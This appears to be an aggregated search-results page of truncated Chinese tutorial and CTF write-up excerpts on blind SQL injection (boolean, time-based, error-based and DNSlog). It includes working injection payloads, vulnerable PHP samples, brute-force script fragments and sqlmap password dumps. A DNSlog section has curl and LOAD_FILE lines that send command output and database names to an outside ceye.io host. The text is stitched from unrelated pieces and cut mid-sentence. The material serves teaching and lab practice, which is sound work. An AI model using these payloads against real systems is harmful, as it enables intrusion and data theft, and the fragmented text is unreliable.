文章源自【字节脉搏社区】-字节脉搏实验室 作者-墨子辰 扫描下方二维码进入社区: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。...盲注一般分为布尔盲注和基于时间的盲注和报错的盲注。本次主要讲解的是基于布尔的盲注。...第二个是101 e 第三个是 99 c 第四个是117 u 第五个是114 r 第六个是105 i 第七个是116 t 第八个是121 y 可以得到数据库名字为:security 接下来头疼的爆数据表,盲注果然是很枯燥的事情...select ascii(substr((select password from users limit 0,1),1,1)))=68--+ 第一个密码:68,117,109,98 =>Dumb 注:
SQL盲注-布尔盲注 01布尔盲注原理 $id=$_GET['id']; $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1 "; $result=mysql_query...($sql); $row=mysql_fetch_array($result); if($row) { echo "Right"; } else { echo "Wrong"; } 代码存在...,这既是布尔盲注!...正确请求,id=1 -> 返回 id=1的数据 错误请求,id=1’ -> 返回 与正确页面不同的页面 1.如果页面返回“假”,说明系统执行的SQL语句为“假”如:id=1 and left((select...version()),1)=5–+ 2.想办法构造语句,判断数据库中内容的值 02布尔盲注方法 构造逻辑判断语句,判断信息的真假,取出所有的真值,实现SQL注入 left() left(database
需要目标机器时windows系统 DnsLog盲注 DnsLog盲注原理 Dnslog平台:http://ceye.io/ http://ceye.io/profile curl mzq83x.ceye.io...curl `whoami`.mzq83x.ceye.io DnsLog盲注方法 核心语法: SELECT LOAD_FILE(CONCAT('\\\\',(select database(...)),'.mysql.r5ourp.ceye.io\\abc')); sql语句不能含有特殊符号 查表 ?
时间盲注 时间盲注原理 时间盲注方法 http://localhost:90/Less-10/?...information_schema.tables where table_schema=database() limit 0,1),1)='r',0,sleep(3))--+ 时间注入脚本 links 时间盲注
欢迎关注我的微信公众号《壳中之魂》 环境:BUUCTF在线评测 (buuoj.cn) 和之前的靶机差不多,也是一个登录框,但是多了几个按钮,标出来的局子也提醒了是通过sql盲注 [fcc10e3cd3151abb347dcb726eb874b2...可以看到过滤了括号,所以报错注入派不上用场 [fc740f55a0dc49e17af72967275915bc.jpeg] 但是可以注入的点不止这一个,点击主页的按钮,可以发现这里有个数字型注入,可以尝试盲注...id=elt(length(database())>1,6) [3b9ac7beb0d9380c4ab53e01552d14e1.jpeg] 确定好可以使用elt函数进行盲注后,接下来就进入盲注阶段 由于此注入点过滤掉了空格...,所以我采用()来绕过过滤,使用()绕过过滤有一个很大的问题就是会让语句很乱,所以我就现在本地,分段测试语句,确定语句可用后再在靶机上运行 在写脚本之前要先获取盲注的的判断规则,首先先确定语句正确和语句错误的区别
我们这期的主题报错盲注,我们就得用SQLMAP进行报错盲注的漏洞利用 原文是带图的,要看有图的划到最下方有我博客链接 对站点http://219.153.49.228:41592/new_list.php...name,password,status" --dump 查出用户名为mozhe ,password为3c48eb99af674cdec2686f9c264211a3 md5解密,即成功的完成了一次报错盲注
这几天在学习sql注入的有关内容,今天记录一下我认为比较重要的部分,即sql盲注,我一开始学习的时候看到了好多的函数,看着看着就弄混了,相信不少新入门的师傅也有类似的困惑,经过多番心理斗争,我终于决定将这部分知识好整理一下...盲注类型 基于布尔的盲注 特征 被注入的页面没有sql语句执行错误的显示,页面只有正常返回和不正常返回两种状态 示例 这里我拿sqli-labs的less8作为布尔型盲注的例子 我们可以看到这个页面正常会返回...You are in...........而不正常的时候会无任何返回,这就很符合布尔盲注的特征 正常返回: ?...这里基本就可以确定可以使用布尔盲注来获得数据库中的数据 接下来我们来猜解库名,在猜解库名之前,我们首先需要知道库名的长度 这里我们就可以利用length()函数来进行长度的爆破: http://127.0.0.1...总结 盲注是一个比较费神和考验逻辑的注入方式,在注入的过程中会做很多相同的工作,为了节省时间和精力,建议大家在平时练习的时候多编写自动脚本,这样能节省很多时间,避免做更多重复无用的工作
什么是SQL盲注 在网站中没有直接回显,没有输出结果,所以得一个一个的猜解长度、字符,通过数据库查询的True和false结果来判断,一般为 布尔注入和时间注入,这篇主要记录时间注入,总结一下就是,当查询返回的结果为...1(True)时,通过sleep()来使数据库休息几秒,当访问的时候时间过长就说明该结果是正确的 思路流程 和一般的sql注入思路差不多,只是盲注更有技巧也更有难度 正常的思路都是: 数据库->表名->...$ip; #XFF是什么就输出什么 $sql="insert into client_ip (ip) values ('$ip')"; #写入数据库,利用点 mysql_query($sql); 源码中可以看到...,输出点不会产生任何漏洞,写什么就输出什么,所以得用盲注来猜解 把sql语句单独提出来 $sql="insert into client_ip (ip) values ('$ip')"; 这里可以构造注入语句为...# 语句 127.0.0.1')# #这是语句还是正常的 insert into client_ip (ip) values ('127.0.0.1')#) 因为过滤了逗号的原因,所以得换个方式构造盲注语句
sql注入盲注高级技巧 对于sql盲注,常用的方法应该是二分法,如果是windows平台的话dnslog会是一种奇招,对于个人对盲注的理解,猜解需要大量时间和过多的经验,那么有没有一种比较不错的方式来进行盲注来达到快速又流程话的工作呢...选择sqlinjection(Blind)也就是盲注 先从简单开始搞 开局burp抓包 判断有多少列. 猜解SQL查询语句中的字段数 这个就很简单了 由于是数字型注入我们就可以用简单的 ? ?...了 那么现在我们就开始都用123456开始搞事情 盲注需要了解的语法函数有几个很关键 length(str) 返回字符串str的长度,以字节为单位。...多个表就多个标记你懂的 这样的盲注速度真的是节约太多时间 还有可以用时间注入的方法进行盲注 if(length(database())=1,sleep(5),1) if(ascii(substr(database...limit0,1),1))=1,sleep(5),1) 等等 就留给大家结合burp神器自己动脑使用一下使用之后发现是不是节约很多时间呢 大家可以使用sqllabbwapp 等靶场试试 下面是用到盲注
判断是否存在注⼊ ' and 1=1 and 1=2 猜测数据库名 先猜dbid是否存在: http://192.168.159.135:8080/get.aspx?
页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length('abc') ...id=-1 , id肯定不能为负数,数据库查不到,肯定是登录不成功 只有登录成功和失败两种情况 , 页面没有显示位也没有报错 , 满足布尔盲注的条件 接下来测试注入点 , 已知id=1时可以正常登录...使SQL恒成立 , 又登录成功了 改成false , 使SQL恒不成立 , 又登录失败了 至此 , 我们可以确定 , 后端的SQL使用单引号' 来包裹参数 , 固 单引号字符串型注入 第二步,脱库...id=1' and true -- a 使SQL恒成立 , 从而登录成功 长度从1开始测试 , 每次加一个长度 , 当长度不满足条件时 , 比如 ?...id=1' and false -- a 使SQL恒不成立 , 从而登录不成功 , 由此我们可知 , 数据库名字的长度为 8 判断完长度以后 , 我们再猜数据库的名字 ?
数据库常用函数length()#长度函数substr()#截取函数ascii()#阿斯科码转换count()#统计函数1、布尔盲注(1)判断数据库长度http://124.222.124.9:8888/...id=1' and ascii(substr((select username from users limit 0,1),1,1))=68 --+2、时间盲注涉及到的函数if(a,b,c) 当a为真值时...124.222.124.9:8888/Less-24/index.php(2)首先得知道系统中有哪个管理员账号假设系统中存在admin管理员用户,尝试注册用户admin'# (3)登录账号admin'#账号,修改密码在sql
相应专栏:CTF专栏 按照执行效果来分类: (1)基于布尔的盲注 (2)基于时间的盲注 (3)基于报错注入 (4)联合查询注入 (5)堆查询注入。 (6)宽字节注入。...布尔盲注的概念 基本原理是:通过控制通过and连接起来的子句的布尔值,来控制页面的显示结果来判断and后子句的真实性。...首先,既然是布尔盲注,那自然和布尔有关系(废话 既然如此,就得回忆一下布尔是个什么玩意。 在我的印象里,布尔贼简单,不是对就是错。那么,他是怎么应用在SQL注入中的。...此处方法仅用于介绍布尔盲注,若有人因此损害他人利益,与我无关 基于 如果你晓得账号密码的话,登录过程中,对浏览器进行抓包会得到cookie是以 “用户名”&”密码“ 这样子的形式进行传递的, 这里介绍SQL
延迟注入简介 延时函数 WAITFOR DELAY WAITFOR是SQL Server中Transact-SQL提供的⼀个流程控制语句。它的作⽤就是等待特定时间,然后继续执⾏后 续的语句。...如果将该语句成功注⼊后,会造成数据库返回记录和 Web请求也会响应延迟特定的时间。由于该语句不涉及条件判断等情况,所以容易注⼊成功。...根据Web请求是否有延迟,渗透测试⼈员就可以判断⽹站是否存在注⼊漏洞。同时,由于该语句并不返回特定内容,所以它也是盲注的重要检测⽅法。...WAITFOR DELAY '0:0:4' -- 表⽰延迟4秒 IF exists ()⼦句 语法: IF exists () WAITFOR DELAY '0:0:5' 手工延时注入 1.判断是否存在注⼊
盲注是 SQL 注入的重要的技术之一,在现实中的 SQL 注入案例中,往往很难将注入的结果直接回显出来。因此,盲注也就成为了 SQL 注入必不可少的手段之一。...通过与运算盲注 ? 看到这里,你可能还是一头雾水,与运算和盲注有啥关系?...那这和我们SQL盲注又有什么关系呢?...对于SQL盲注,我们往往会使用到 substring,我们会对结果的每一个字符来进行枚举,将字符与可能字符来进行比较,这样枚举的效率可能会不太好,往往需要比较很多次。...myapp myapp_card myappcardperform 枚举 121 276 与运算 35 70 总结 通过上面的对比,我们可以看出在SQL盲注中,如果通过与运算来进行盲注,可以大大提升盲注的效率
网页代码: #sql.php <!...mysqli_error($conn)); } // 设置编码,防止中文乱码 mysqli_query($conn, "set names utf8"); $test = $_POST['id']; $sql...> 不区分大小写测试 测试代码: import requests url = 'http://localhost/sql.php' def trans(flag): res = '' for i in...区分大小写 1.CAST(‘0’as json) import requests import string url = 'http://localhost/sql.php' def test():...2.binary() import requests import string url = 'http://localhost/sql.php' str1 =string.punctuation[0
通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。
SQL盲注概述 在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。...在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响应时间不同)。...一般情况下,盲注可分为两类: 基于布尔的盲注(Boolean based) 基于时间的盲注(Time based) 基于布尔的盲注 某些场合下,页面返回的结果只有两种(正常或错误)。...基于时间的盲注 又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。 SQL盲注常用函数 if() 功能 : 条件判断。...SQL 布尔盲注实例 目标靶机 : SQLi-Labs的less-8 注入方式 : 进行SQL注入之后,根据页面返回的True或者是False来得到数据库中的相关信息。
本文所有实战盲注例子,均来自Joomla! 3.7.0 - ‘com_fields’ SQL Injection。...(提示:本文所有外链阅读原文即可查看) 由于篇幅有限,本文就不去剖析漏洞原理,直接告知payload插入点,来展现盲注的用法(如有需要可自行寻找各方大佬的研究文章)。...有点晕~ 然后自己似懂非懂地画了张利用dnslog进行sql盲注的原理流程图,如有不对,感谢各位大佬指正: ? UNC路径:UNC为网络(主要指局域网)上资源的完整Windows 2000名称。...Injection Attacks TimeBase 前段时间看到do9gy@长亭科技大佬发的一篇文章,就赶紧学一波新型盲注技巧 sleep() mysql> select sleep(5); +--...-----------+ | 0 | +----------------------+ 1 row in set (10.00 sec) 参考资料 MySQL时间盲注五种延时方法
【实验目的】 通过本实验理解SQL时间盲注漏洞的定义方法,掌握基于SQL时间盲注的手工注入方法,熟悉SQL时间盲注存在的原因,掌握SQL时间盲注的防护方法。...SQL语句原理 (1)sleep(n)语句:使数据库在暂停n秒之后再将搜索结果输出; (2)if((条件),m,n)语句:若条件为真,返回m;若条件为假,返回n; 3.时间盲注常用函数 length...id=1' and sleep(10) --+ 响应明显变缓慢,响应速度如下: 对比没有使用sleep()函数时的状态如下: 得出结论:存在时间盲注。...下面基于时间盲注进行数据库信息获取: 第四步 获取数据库名的长度 http://【靶机IP】/Less-9/?...【思考与总结】 通过本次实验,成功实现了利用SQL时间盲注漏洞获取了数据库的表单信息,掌握了SQL时间盲注漏洞的手工攻击方法,在此基础上可以深入理解对其的防护策略。
领取专属 10元无门槛券
手把手带您无忧上云